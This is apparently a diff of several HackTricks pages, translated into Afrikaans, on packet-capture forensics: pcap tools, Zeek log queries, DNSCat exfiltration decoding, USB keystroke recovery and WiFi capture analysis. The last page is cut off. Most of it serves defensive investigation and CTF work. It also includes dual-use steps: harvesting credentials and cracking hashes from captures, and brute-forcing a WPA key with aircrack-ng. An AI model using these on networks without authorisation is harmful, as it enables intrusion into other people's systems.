{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
'n Nota oor **PCAP** vs **PCAPNG**: daar is twee weergawes van die PCAP-lêerformaat; **PCAPNG is nuwer en nie deur alle gereedskap ondersteun nie**. Jy mag 'n lêer van PCAPNG na PCAP moet omskakel deur Wireshark of 'n ander kompatibele gereedskap te gebruik, om daarmee te werk in ander gereedskap.
|
||||
{% endhint %}
|
||||
|
||||
## Aanlyn gereedskap vir pcaps
|
||||
|
||||
* As die kop van jou pcap **beskadig** is, moet jy probeer om dit te **herstel** deur gebruik te maak van: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Onttrek **inligting** en soek na **kwaadwillige sagteware** binne 'n pcap in [**PacketTotal**](https://packettotal.com)
|
||||
* Soek na **skadelike aktiwiteit** deur gebruik te maak van [**www.virustotal.com**](https://www.virustotal.com) en [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Onttrek Inligting
|
||||
|
||||
Die volgende gereedskap is nuttig om statistieke, lêers, ens. te onttrek.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**As jy 'n PCAP gaan analiseer, moet jy basies weet hoe om Wireshark te gebruik**
|
||||
{% endhint %}
|
||||
|
||||
Jy kan 'n paar Wireshark-truuks vind in:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Xplico-raamwerk
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(slegs Linux)_ kan 'n **pcap** analiseer en inligting daaruit onttrek. Byvoorbeeld, van 'n pcap-lêer onttrek Xplico elke e-pos (POP, IMAP en SMTP-protokolle), alle HTTP-inhoud, elke VoIP-oproep (SIP), FTP, TFTP, en so aan.
|
||||
|
||||
**Installeer**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**Voer uit**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Kry toegang tot _**127.0.0.1:9876**_ met geloofsbriewe _**xplico:xplico**_
|
||||
|
||||
Skep dan 'n **nuwe saak**, skep 'n **nuwe sessie** binne die saak en **laai die pcap-lêer op**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Soos Xplico is dit 'n instrument om **analiseer en voorwerpe uit pcaps te onttrek**. Dit het 'n gratis uitgawe wat jy kan **aflaai** [**hier**](https://www.netresec.com/?page=NetworkMiner). Dit werk met **Windows**.\
|
||||
Hierdie instrument is ook nuttig om **ander inligting geanaliseer** uit die pakkies te kry om te kan weet wat in 'n **vinniger** manier gebeur het.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Jy kan [**NetWitness Investigator hier aflaai**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Dit werk in Windows)**.\
|
||||
Dit is 'n ander nuttige instrument wat die pakkies **analiseer** en die inligting op 'n nuttige manier **sorteer om te weet wat binne gebeur**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Uitpak en enkode gebruikersname en wagwoorde (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Onttrek verifikasiehasings en kraak hulle met behulp van Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Bou 'n visuele netwerkdiagram (Netwerknodes & gebruikers)
|
||||
* Onttrek DNS-navrae
|
||||
* Herkonstrueer alle TCP- en UDP-sessies
|
||||
* Lêer uitsnyding
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
### Ngrep
|
||||
|
||||
As jy **iets** binne die pcap soek, kan jy **ngrep** gebruik. Hier is 'n voorbeeld wat die hooffilters gebruik:
|
||||
|
||||
```bash
|
||||
ngrep -I file.pcap 'filter'
|
||||
```
|
||||
|
||||
Die `-I` vlag dui aan dat die bron 'n lêer is, en `file.pcap` is die naam van die pcap-lêer wat jy wil ondersoek. Die `'filter'` argument is die soekfilter wat jy wil gebruik om spesifieke data te vind binne die pcap-lêer.
|
||||
|
||||
Hier is 'n paar voorbeelde van ngrep-filters wat jy kan gebruik:
|
||||
|
||||
- `tcp` - Soek na TCP-verbindings.
|
||||
- `udp` - Soek na UDP-verbindings.
|
||||
- `port 80` - Soek na verbindings op poort 80.
|
||||
- `host 192.168.1.1` - Soek na verbindings na die IP-adres 192.168.1.1.
|
||||
- `src host 192.168.1.1` - Soek na verbindings waarvan die bron-IP-adres 192.168.1.1 is.
|
||||
- `dst host 192.168.1.1` - Soek na verbindings waarvan die bestemmings-IP-adres 192.168.1.1 is.
|
||||
|
||||
Jy kan ook meer komplekse filters gebruik deur logiese operatore soos `and`, `or` en `not` te gebruik. Byvoorbeeld:
|
||||
|
||||
- `tcp and port 80` - Soek na TCP-verbindings op poort 80.
|
||||
- `udp or port 53` - Soek na UDP-verbindings of verbindings op poort 53.
|
||||
- `not host 192.168.1.1` - Soek na verbindings wat nie na die IP-adres 192.168.1.1 gaan nie.
|
||||
|
||||
Met ngrep kan jy spesifieke data binne die pcap-lêer vind deur die filters te gebruik wat die beste by jou ondersoek pas.
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Uithol
|
||||
|
||||
Die gebruik van algemene uitholtegnieke kan nuttig wees om lêers en inligting uit die pcap te onttrek:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Vang van geloofsbriewe
|
||||
|
||||
Jy kan gereedskap soos [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gebruik om geloofsbriewe uit 'n pcap of 'n lewendige koppelvlak te ontled.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Kontroleer Uitbuitings/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
**Installeer en stel op**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Kyk na pcap**
|
||||
|
||||
Om 'n pcap-lêer te ondersoek, kan jy die volgende stappe volg:
|
||||
|
||||
1. **Identifiseer die doel van die ondersoek**: Bepaal wat jy probeer vind of bewys in die pcap-lêer.
|
||||
|
||||
2. **Installeer 'n pcap-analisehulpmiddel**: Gebruik 'n geskikte hulpmiddel soos Wireshark om die pcap-lêer te ontleed en te ondersoek.
|
||||
|
||||
3. **Analiseer die netwerkverkeer**: Bestudeer die verskillende netwerkverbindings en -protokolle in die pcap-lêer. Identifiseer verdagte aktiwiteite, ongewone patrone of enige ander potensiële aanwysers van 'n aanval.
|
||||
|
||||
4. **Identifiseer die bronne en bestemmings**: Kyk na die bron- en bestemmings-IP-adresse en -poorte om te bepaal watter entiteite betrokke is by die kommunikasie. Identifiseer enige onbekende of verdagte bronne of bestemmings.
|
||||
|
||||
5. **Ondersoek die inhoud van die kommunikasie**: Ontleed die inhoud van die kommunikasie in die pcap-lêer. Kyk na die datastrome, HTTP-aanvrae, e-posse, enige gevoelige inligting of enige ander relevante inligting wat kan help om die aard van die aanval of die kommunikasie te bepaal.
|
||||
|
||||
6. **Volg die tydlyn**: Analiseer die tydlyn van die netwerkverkeer om die volgorde van gebeure te bepaal en om te sien of daar enige tydgebaseerde patrone of verdagte aktiwiteite is.
|
||||
|
||||
7. **Identifiseer enige verdagte aktiwiteite**: Let op enige verdagte aktiwiteite, soos ongewone poorte, onbekende protokolle, ongewone datastrome, onverwagte kommunikasiepatrone, of enige ander afwykings van normale netwerkgedrag.
|
||||
|
||||
8. **Verkry aanvullende inligting**: Indien nodig, gebruik ander tegnieke soos DNS-navrae, WHOIS-opsoek, IP-adresopsporing, of enige ander relevante inligting om verdere konteks te verkry oor die bronne of bestemmings in die pcap-lêer.
|
||||
|
||||
9. **Stel 'n verslag op**: Maak 'n gedetailleerde verslag van jou bevindinge, insluitend enige verdagte aktiwiteite, potensiële aanwysers van 'n aanval, en enige ander relevante inligting.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is 'n instrument wat
|
||||
|
||||
* 'n PCAP-lêer lees en HTTP-strome onttrek.
|
||||
* gzip defleer enige gekomprimeerde strome
|
||||
* Skandeer elke lêer met yara
|
||||
* Skryf 'n report.txt
|
||||
* Opsioneel stoor ooreenstemmende lêers in 'n gids
|
||||
|
||||
### Malware-analise
|
||||
|
||||
Kyk of jy enige vingerafdruk van 'n bekende malware kan vind:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) is 'n passiewe, oopbron-netwerkverkeerontleder. Baie operateurs gebruik Zeek as 'n Netwerksekuriteitsmonitor (NSM) om ondersoeke na verdagte of skadelike aktiwiteit te ondersteun. Zeek ondersteun ook 'n wye reeks verkeersontledingsopdragte buite die sekuriteitsdomein, insluitend prestasiemeting en foutopsporing.
|
||||
|
||||
Basies is logboeke wat deur `zeek` geskep word nie **pcaps** nie. Jy sal dus **ander instrumente** moet gebruik om die logboeke waar die **inligting** oor die pcaps is, te analiseer.
|
||||
|
||||
### Verbindingsinligting
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||
|
||||
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||
|
||||
|
||||
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||
|
||||
#Get the number of connections summed up per each line
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 1 86222.4
|
||||
10.55.100.107 111.221.29.113 1 86220.1
|
||||
10.55.100.110 40.77.229.82 134 86160.1
|
||||
|
||||
#Check if any IP is connecting to 1.1.1.1
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||
|
||||
#Get number of connections per source IP, dest IP and dest Port
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
|
||||
# RITA
|
||||
#Something similar can be done with the tool rita
|
||||
rita show-long-connections -H --limit 10 zeek_logs
|
||||
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||
|
||||
#Get connections info from rita
|
||||
rita show-beacons zeek_logs | head -n 10
|
||||
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS-inligting
|
||||
|
||||
DNS (Domain Name System) is 'n protokol wat gebruik word om IP-adresse aan domeinname te koppel. Dit vertaal mensverstaanbare domeinname na numeriese IP-adresse wat deur rekenaars gebruik word om met mekaar te kommunikeer.
|
||||
|
||||
DNS-inligting kan waardevol wees vir forensiese ondersoeke, omdat dit kan help om die aktiwiteite van 'n gebruiker of 'n aanvaller te identifiseer. Deur 'n PCAP (Packet Capture) te ondersoek, kan jy DNS-verkeer analiseer en inligting verkry soos die IP-adresse van besoekte webwerwe, DNS-navrae en DNS-antwoorde.
|
||||
|
||||
Hier is 'n paar nuttige DNS-inligting wat jy uit 'n PCAP kan ontleed:
|
||||
|
||||
#### DNS-navrae
|
||||
|
||||
DNS-navrae is versoek wat deur 'n rekenaar gestuur word om die IP-adres van 'n spesifieke domeinnaam te bekom. Dit kan aandui watter webwerwe of dienste besoek is.
|
||||
|
||||
#### DNS-antwoorde
|
||||
|
||||
DNS-antwoorde is die reaksies wat deur DNS-bedieners gestuur word om die IP-adres van 'n gevraagde domeinnaam te verskaf. Dit kan aandui watter IP-adresse besoek is en of daar enige ongewone of verdagte aktiwiteite plaasgevind het.
|
||||
|
||||
#### DNS-tydskrifte
|
||||
|
||||
DNS-tydskrifte is 'n log van DNS-navrae en -antwoorde wat deur 'n rekenaar gestuur en ontvang is. Dit kan gebruik word om die volledige DNS-geskiedenis van 'n rekenaar te ontleed en te analiseer.
|
||||
|
||||
#### DNS-gebruikers
|
||||
|
||||
DNS-gebruikers is die rekenaars of toestelle wat DNS-navrae en -antwoorde genereer. Deur die identifisering van hierdie gebruikers kan jy die bron van 'n spesifieke DNS-verkeer bepaal.
|
||||
|
||||
#### DNS-tydskrif-analise
|
||||
|
||||
DNS-tydskrif-analise behels die ontleed van DNS-tydskrifte om inligting te verkry oor die aktiwiteite van 'n rekenaar of netwerk. Dit kan help om verdagte aktiwiteite, soos die besoek van skadelike webwerwe of die kommunikasie met verdagte IP-adresse, te identifiseer.
|
||||
|
||||
Deur die inspeksie van DNS-inligting in 'n PCAP, kan jy waardevolle insigte verkry oor die aktiwiteite van 'n rekenaar of netwerk en dit gebruik vir forensiese analise.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
||||
#Get the number of times each domain was requested and get the top 10
|
||||
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||
|
||||
#Get all the IPs
|
||||
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||
|
||||
#Sort the most common DNS record request (should be A)
|
||||
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||
|
||||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Ander pcap-analise-truuks
|
||||
|
||||
{% content-ref url="dnscat-exfiltration.md" %}
|
||||
[dnscat-exfiltration.md](dnscat-exfiltration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="wifi-pcap-analysis.md" %}
|
||||
[wifi-pcap-analysis.md](wifi-pcap-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="usb-keystrokes.md" %}
|
||||
[usb-keystrokes.md](usb-keystrokes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,57 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
As jy 'n pcap het met data wat **deur DNSCat uitgelekte word** (sonder om versleuteling te gebruik), kan jy die uitgelekte inhoud vind.
|
||||
|
||||
Jy hoef net te weet dat die **eerste 9 byte** nie werklike data is nie, maar verband hou met die **C\&C-kommunikasie**:
|
||||
```python
|
||||
from scapy.all import rdpcap, DNSQR, DNSRR
|
||||
import struct
|
||||
|
||||
f = ""
|
||||
last = ""
|
||||
for p in rdpcap('ch21.pcap'):
|
||||
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
|
||||
|
||||
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
|
||||
qry = ''.join(_.decode('hex') for _ in qry)[9:]
|
||||
if last != qry:
|
||||
print(qry)
|
||||
f += qry
|
||||
last = qry
|
||||
|
||||
#print(f)
|
||||
```
|
||||
Vir meer inligting: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
|
||||
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
|
||||
|
||||
|
||||
Daar is 'n skripsie wat met Python3 werk: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
|
||||
```
|
||||
python3 dnscat_decoder.py sample.pcap bad_domain
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,43 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
As jy 'n pcap het wat die kommunikasie via USB van 'n sleutelbord bevat, soos die volgende een:
|
||||
|
||||
![](<../../../.gitbook/assets/image (613).png>)
|
||||
|
||||
Jy kan die instrument [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) gebruik om te sien wat in die kommunikasie geskryf is:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
Jy kan meer inligting lees en sommige skripte vind oor hoe om dit te analiseer in:
|
||||
|
||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,68 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Kontroleer BSSIDs
|
||||
|
||||
Wanneer jy 'n vangste ontvang waarvan die hoofverkeer Wifi is en jy gebruik WireShark, kan jy begin ondersoek instel na al die SSIDs van die vangste met _Wireless --> WLAN Traffic_:
|
||||
|
||||
![](<../../../.gitbook/assets/image (424).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (425).png>)
|
||||
|
||||
## Brute Force
|
||||
|
||||
Een van die kolomme van daardie skerm dui aan of **enige outentifikasie binne die pcap gevind is**. As dit die geval is, kan jy probeer om dit te Brute force deur `aircrack-ng` te gebruik:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Byvoorbeeld, dit sal die WPA-wagwoord herwin wat 'n PSK (vooraf gedeelde sleutel) beskerm, wat later nodig sal wees om die verkeer te ontsleutel.
|
||||
|
||||
# Data in Beacons / Sykanaal
|
||||
|
||||
As jy vermoed dat **data binne beacons van 'n WiFi-netwerk uitgelek word**, kan jy die beacons van die netwerk ondersoek deur 'n filter soos die volgende te gebruik: `wlan bevat <NAAMvanNETWERK>`, of `wlan.ssid == "NAAMvanNETWERK"` soek binne die gefiltreerde pakkies vir verdagte strings.
|
||||
|
||||
# Vind Onbekende MAC-adresse in 'n WiFi-netwerk
|
||||
|
||||
Die volgende skakel sal nuttig wees om die **toestelle wat data binne 'n WiFi-netwerk stuur** te vind:
|
||||
|
||||
